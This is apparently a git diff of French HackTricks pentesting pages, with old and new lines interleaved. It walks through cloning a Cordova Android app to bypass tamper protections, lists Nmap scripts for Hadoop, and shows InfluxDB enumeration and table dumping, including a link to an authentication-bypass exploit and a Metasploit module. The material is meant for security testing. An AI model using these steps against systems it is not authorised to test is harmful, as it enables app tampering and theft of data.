* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

75
mobile-pentesting/cordova-apps.md
View file

@ -2,95 +2,76 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
Infos prises du post [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)
**Pour plus de détails, consultez [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)**. Ceci est un résumé :
## Informations de base
Apache Cordova est reconnu pour permettre le développement d'applications **hybrides** en utilisant **JavaScript, HTML et CSS**. Il permet la création d'applications Android et iOS; cependant, il ne dispose pas d'un mécanisme par défaut pour sécuriser le code source de l'application. Contrairement à React Native, Cordova ne compile pas le code source par défaut, ce qui peut entraîner des vulnérabilités de falsification de code. Cordova utilise WebView pour rendre les applications, exposant le code HTML et JavaScript même après avoir été compilé en fichiers APK ou IPA. React Native, en revanche, utilise une machine virtuelle JavaScript pour exécuter le code JavaScript, offrant une meilleure protection du code source.
Apache Cordova est un framework populaire qui permet de **créer des applications hybrides** (Android & iOS) en utilisant **JavaScript, HTML et CSS**.
### Clonage d'une application Cordova
L'un des principaux problèmes avec Cordova est qu'il **ne dispose pas d'une méthode par défaut pour sécuriser** la **source** de l'application, contrairement à react-native. La source de l'application Cordova n'a pas de méthode par défaut pour la compiler, ce qui la rend **facile à altérer**. L'application Cordova utilise WebView pour rendre l'application en utilisant HTML et JS, ce qui révèle le code source même après sa compilation en APK ou IPA, tandis que react native utilise JavaScript VM pour exécuter le code JavaScript.
Avant de cloner une application Cordova, assurez-vous que NodeJS est installé ainsi que d'autres prérequis tels que le SDK Android, le JDK Java et Gradle. La [documentation](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) officielle de Cordova fournit un guide complet pour ces installations.
### Clonage d'une application Cordova <a href="#8f50" id="8f50"></a>
Considérez une application exemple nommée `Bank.apk` avec le nom de package `com.android.bank`. Pour accéder au code source, décompressez `bank.apk` et accédez au dossier `bank/assets/www`. Ce dossier contient l'intégralité du code source de l'application, y compris les fichiers HTML et JS. La configuration de l'application se trouve dans `bank/res/xml/config.xml`.
Pour créer une application Cordova, nous devons installer NodeJS. Outre NodeJS, nous avons besoin de quelques autres éléments installés pour compléter le processus de construction comme Android SDK, Java JDK et Gradle. Vous pouvez suivre la [documentation officielle](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) pour la liste des prérequis.
Pour cet exemple, nous pouvons supposer que le nom de l'application originale est `Bank.apk` et le nom du package `com.android.bank`
Décompressez le `bank.apk` et ouvrez le dossier `bank/assets/www`. Nous pouvons voir la **source complète de l'application Cordova**. Tout le code HTML et JS peut être utilisé pour créer un clone de l'application. Nous pouvons également trouver le fichier de configuration de l'application dans `bank/res/xml/config.xml`.
Maintenant, nous pouvons créer un nouveau projet d'application Cordova :
Pour cloner l'application, suivez ces étapes :
```bash
npm install -g cordova@latest
cordova create bank-new com.android.bank Bank
cd bank-new
```
Maintenant, nous devons copier tous les fichiers et dossiers de `bank/assets/www` vers `bank-new/www.`
Copiez le contenu de `bank/assets/www` vers `bank-new/www`, en excluant `cordova_plugins.js`, `cordova.js`, `cordova-js-src/`, et le répertoire `plugins/`.
Lorsque nous copions le code source, nous devons exclure quelques fichiers et dossiers comme `cordova_plugins.js, cordova.js, cordova-js-src/, plugins/`. Nous pouvons copier tous les fichiers et dossiers à l'exception de ceux mentionnés ci-dessus.
Spécifiez la plateforme (Android ou iOS) lors de la création d'un nouveau projet Cordova. Pour cloner une application Android, ajoutez la plateforme Android. Notez que les versions de plateforme de Cordova et les niveaux d'API Android sont distincts. Consultez la [documentation](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) de Cordova pour plus de détails sur les versions de plateforme et les APIs Android prises en charge.
Lorsque nous créons un nouveau projet Cordova, nous devons préciser si l'application est pour Android ou iOS. Comme nous clonons l'application Android, nous devons y ajouter une plateforme Android. Dans Cordova, nous avons les versions de la plateforme, chaque version ayant des fonctionnalités différentes et une prise en charge pour les API Android ou les versions Android.
Pour déterminer la version appropriée de la plateforme Cordova Android, vérifiez le `PLATFORM_VERSION_BUILD_LABEL` dans le fichier `cordova.js` de l'application d'origine.
L'API Android et les versions de la plateforme Cordova Android sont différentes. Vous pouvez [consulter](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) la liste des versions de la plateforme et leur prise en charge pour les API Android.
Pour ajouter la plateforme Cordova Android, nous devons découvrir quelle version était à l'origine utilisée par l'application. Si vous utilisez une version différente, vous pourriez rencontrer des problèmes puisque nous utilisons le même code source pour cloner l'application. Vous pouvez ouvrir le fichier `cordova.js` et rechercher `PLATFORM_VERSION_BUILD_LABEL` pour trouver la version utilisée par l'application.
\
Maintenant que nous avons ajouté le support de la plateforme Android, nous pouvons ajouter tous les plugins requis utilisés par l'application. Dans l'application originale `bank/assets/www/cordova_plugins.js`, nous pouvons trouver une liste de tous les plugins utilisés par l'application. Nous devons installer ces plugins un par un. Recherchez `module.exports.metadata` dans le fichier `cordova_plugins.js`. Nous pouvons également voir tous les plugins avec leurs versions.
<figure><img src="https://miro.medium.com/v2/resize:fit:1124/1*Hap3DmxS6-1apNj5RfpC3g.png" alt="Cordova Plugins" height="570" width="562"><figcaption><p>Plugins Cordova</p></figcaption></figure>
Nous devons installer tous les plugins un par un à l'aide de la commande ci-dessous
Après avoir configuré la plateforme, installez les plugins requis. Le fichier `bank/assets/www/cordova_plugins.js` de l'application d'origine répertorie tous les plugins et leurs versions. Installez chaque plugin individuellement comme indiqué ci-dessous:
```bash
cd bank-new
cordova plugin add cordova-plugin-dialogs@2.0.1
```
{% hint style="warning" %}
Si un plugin n'est pas disponible dans la recherche npm, cherchez-le sur Github :
Si un plugin n'est pas disponible sur npm, il peut être obtenu depuis GitHub :
```bash
cd bank-new
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
```
{% endhint %}
Pour compiler l'application, nous devons nous assurer d'avoir déjà installé toutes les exigences.
Assurez-vous que toutes les conditions préalables sont remplies avant de compiler :
```bash
cd bank-new
cordova requirements
```
Une fois que nous avons tout le nécessaire prêt, nous pouvons construire l'apk.
Pour construire l'APK, utilisez la commande suivante :
```bash
cd bank-new
cordova build android — packageType=apk
```
La commande de build ci-dessus créera un apk avec la méthode de débogage activée, ce qui nous permet de déboguer l'application en utilisant Google Chrome. Avant d'installer l'apk, assurez-vous de signer l'apk. Si l'application a une détection de manipulation de code, elle sera contournée à moins qu'il n'y ait pas de configuration spécifique définie.
Ce commandement génère un APK avec l'option de débogage activée, facilitant le débogage via Google Chrome. Il est crucial de signer l'APK avant l'installation, surtout si l'application inclut des mécanismes de détection de manipulation de code.
### Outil Automatique
### Outil d'automatisation
[**MobSecco**](https://github.com/Anof-cyber/MobSecco) : Un outil qui automatise le processus complet de clonage de l'application Android.
Pour ceux qui cherchent à automatiser le processus de clonage, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** est un outil recommandé. Il simplifie le clonage des applications Android, en simplifiant les étapes décrites ci-dessus.
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

51
network-services-pentesting/50030-50060-50070-50075-50090-pentesting-hadoop.md
View file

@ -1,53 +1,42 @@
```markdown
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Informations tirées du livre** [**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2)
# **Informations de base**
Apache Hadoop est un cadre open source qui prend en charge le stockage et le traitement distribués de grands ensembles de données à l'aide de clusters informatiques. Le stockage est géré par le système de fichiers distribués Hadoop (HDFS) et le traitement est effectué en utilisant MapReduce et d'autres applications (par exemple, Apache Storm, Flink et Spark) via YARN.
Apache Hadoop est un framework open source pour le stockage et le traitement distribué de grands ensembles de données à travers des clusters informatiques, utilisant principalement le système de fichiers distribué Hadoop (HDFS) pour le stockage et MapReduce, ainsi que d'autres applications comme Apache Storm, Flink et Spark, pour le traitement via YARN. Pour interagir avec ces services, un ensemble de scripts Nmap est disponible, chacun associé à un port spécifique et à un but, bien qu'il soit noté que Hadoop ne bénéficie pas de support dans le framework Metasploit au moment de la documentation.
![](<../.gitbook/assets/image (139).png>)
- **Scripts Nmap pour Hadoop** :
- **`hadoop-jobtracker-info (Port 50030)`**
- **`hadoop-tasktracker-info (Port 50060)`**
- **`hadoop-namenode-info (Port 50070)`**
- **`hadoop-datanode-info (Port 50075)`**
- **`hadoop-secondary-namenode-info (Port 50090)`**
Figure 15-1. Architecture Hadoop 2.0
Vous pouvez interroger les services MapReduce et HDFS en utilisant les scripts Nmap listés dans le tableau suivant (y compris les détails des ports par défaut). Au moment de la rédaction, Metasploit ne prend pas en charge Hadoop.
| **Nom du script** | **Port** | **Objectif** |
| ------------------------------ | -------- | ----------------------------------------------------------------- |
| hadoop-jobtracker-info | 50030 | Récupérer des informations des services de suivi des jobs et des tâches MapReduce |
| hadoop-tasktracker-info | 50060 | |
| hadoop-namenode-info | 50070 | Récupérer des informations du nœud de nom HDFS |
| hadoop-datanode-info | 50075 | Récupérer des informations du nœud de données HDFS |
| hadoop-secondary-namenode-info | 50090 | Récupérer des informations du nœud de nom secondaire HDFS |
Des clients HDFS légers en Python et Go sont disponibles en ligne. Hadoop fonctionne sans authentification par défaut. Vous pouvez configurer les services HDFS, YARN et MapReduce pour utiliser Kerberos.
Il est crucial de noter que **Hadoop fonctionne sans authentification dans sa configuration par défaut**. Cependant, pour une sécurité renforcée, des configurations sont disponibles pour intégrer Kerberos avec les services HDFS, YARN et MapReduce.
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
```

52
network-services-pentesting/8086-pentesting-influxdb.md
View file

@ -3,32 +3,32 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** avec les outils communautaires **les plus avancés**.\
Accédez-y dès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## Informations de base
**InfluxDB** est une **base de données de séries temporelles** (TSDB) open-source développée par la société InfluxData.
**InfluxDB** est une base de données de séries temporelles (TSDB) open-source développée par l'entreprise InfluxData.
Une **base de données de séries temporelles (TSDB)** est un système logiciel optimisé pour stocker et **servir des séries temporelles** à travers des paires associées de temps et de valeurs.
Les ensembles de données de séries temporelles sont **relativement grands et uniformes par rapport à d'autres ensembles de données**―généralement composés d'un horodatage et de données associées. Les ensembles de données de séries temporelles peuvent également avoir moins de relations entre les entrées de données dans différentes tables et ne nécessitent pas un stockage indéfini des entrées. Les propriétés uniques des ensembles de données de séries temporelles signifient que les bases de données de séries temporelles peuvent offrir des **améliorations significatives en termes d'espace de stockage et de performance par rapport aux bases de données à usage général**. Par exemple, en raison de l'uniformité des données de séries temporelles, **des algorithmes de compression spécialisés** peuvent offrir des améliorations par rapport aux algorithmes de compression réguliers conçus pour travailler sur des données moins uniformes. Les bases de données de séries temporelles peuvent également être **configurées pour supprimer régulièrement les anciennes données**, contrairement aux bases de données régulières qui sont conçues pour stocker des données indéfiniment. Des indices de base de données spéciaux peuvent également fournir des améliorations dans la performance des requêtes. (Depuis [ici](https://en.wikipedia.org/wiki/Time\_series\_database)).
Les ensembles de données de séries temporelles sont **relativement grands et uniformes par rapport à d'autres ensembles de données** - étant généralement composés d'un horodatage et de données associées. Les ensembles de données de séries temporelles peuvent également avoir moins de relations entre les entrées de données dans différentes tables et ne nécessitent pas un stockage indéfini des entrées. Les propriétés uniques des ensembles de données de séries temporelles signifient que les bases de données de séries temporelles peuvent offrir **des améliorations significatives de l'espace de stockage et des performances par rapport aux bases de données à usage général**. Par exemple, en raison de l'uniformité des données de séries temporelles, **des algorithmes de compression spécialisés** peuvent offrir des améliorations par rapport aux algorithmes de compression réguliers conçus pour fonctionner sur des données moins uniformes. Les bases de données de séries temporelles peuvent également être **configurées pour supprimer régulièrement les anciennes données**, contrairement aux bases de données régulières qui sont conçues pour stocker les données indéfiniment. Des index de base de données spéciaux peuvent également améliorer les performances des requêtes. (De [ici](https://en.wikipedia.org/wiki/Time\_series\_database)).
**Port par défaut** : 8086
```
@ -37,7 +37,7 @@ PORT STATE SERVICE VERSION
```
## Énumération
Du point de vue d'un pentester, c'est une autre base de données qui pourrait stocker des informations sensibles, donc il est intéressant de savoir comment extraire toutes les infos.
D'un point de vue de pentester, c'est une autre base de données qui pourrait stocker des informations sensibles, il est donc intéressant de savoir comment extraire toutes les informations.
### Authentification
@ -47,13 +47,13 @@ InfluxDB peut nécessiter une authentification ou non
influx -host 'host name' -port 'port #'
> use _internal
```
Si vous **rencontrez une erreur comme** celle-ci : `ERR: unable to parse authentication credentials`, cela signifie qu'elle **attend des identifiants**.
Si vous **obtenez une erreur comme** celle-ci : `ERR: unable to parse authentication credentials`, cela signifie qu'il **attend des informations d'identification**.
```
influx –username influx –password influx_pass
```
Il y avait une vulnérabilité dans influxdb qui permettait de contourner l'authentification : [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
### Énumération Manuelle
### Énumération manuelle
Les informations de cet exemple ont été prises [**ici**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
@ -68,9 +68,9 @@ name
telegraf
_internal
```
#### Afficher les tables/mesures
#### Afficher les tables/measurements
Comme l'[**documentation InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) l'explique, les **mesures** SQL peuvent être considérées comme des tables SQL. Comme les noms de **mesure** ci-dessus le suggèrent, chacune contient des informations qui se rapportent à une entité spécifique
La [**documentation d'InfluxDB**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explique que les **measurements** dans InfluxDB peuvent être comparés aux tables SQL. La nomenclature de ces **measurements** est indicative de leur contenu respectif, chacun contenant des données pertinentes pour une entité particulière.
```bash
> show measurements
name: measurements
@ -108,9 +108,9 @@ inodes_used integer
[ ... more keys ...]
```
#### Extraire la Table
#### Vider la table
Et finalement, vous pouvez **extraire la table** en faisant quelque chose comme
Et enfin, vous pouvez **vider la table** en faisant quelque chose comme suit :
```bash
select * from cpu
name: cpu
@ -120,7 +120,7 @@ time cpu host usage_guest usage_guest_nice usage_idle
1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101
```
{% hint style="warning" %}
Lors de certains tests avec le contournement de l'authentification, il a été noté que le nom de la table devait être entre guillemets doubles comme : `select * from "cpu"`
Lors de certains tests avec la contournement de l'authentification, il a été noté que le nom de la table devait être entre guillemets doubles comme : `select * from "cpu"`
{% endhint %}
### Authentification Automatisée
@ -129,22 +129,22 @@ msf6 > use auxiliary/scanner/http/influxdb_enum
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires **les plus avancés**.\
Accédez-y dès aujourd'hui :
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

158
network-services-pentesting/ipsec-ike-vpn-pentesting.md
View file

@ -1,20 +1,22 @@
# 500/udp - Pentesting IPsec/IKE VPN
# 500/udp - Test d'intrusion IPsec/IKE VPN
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
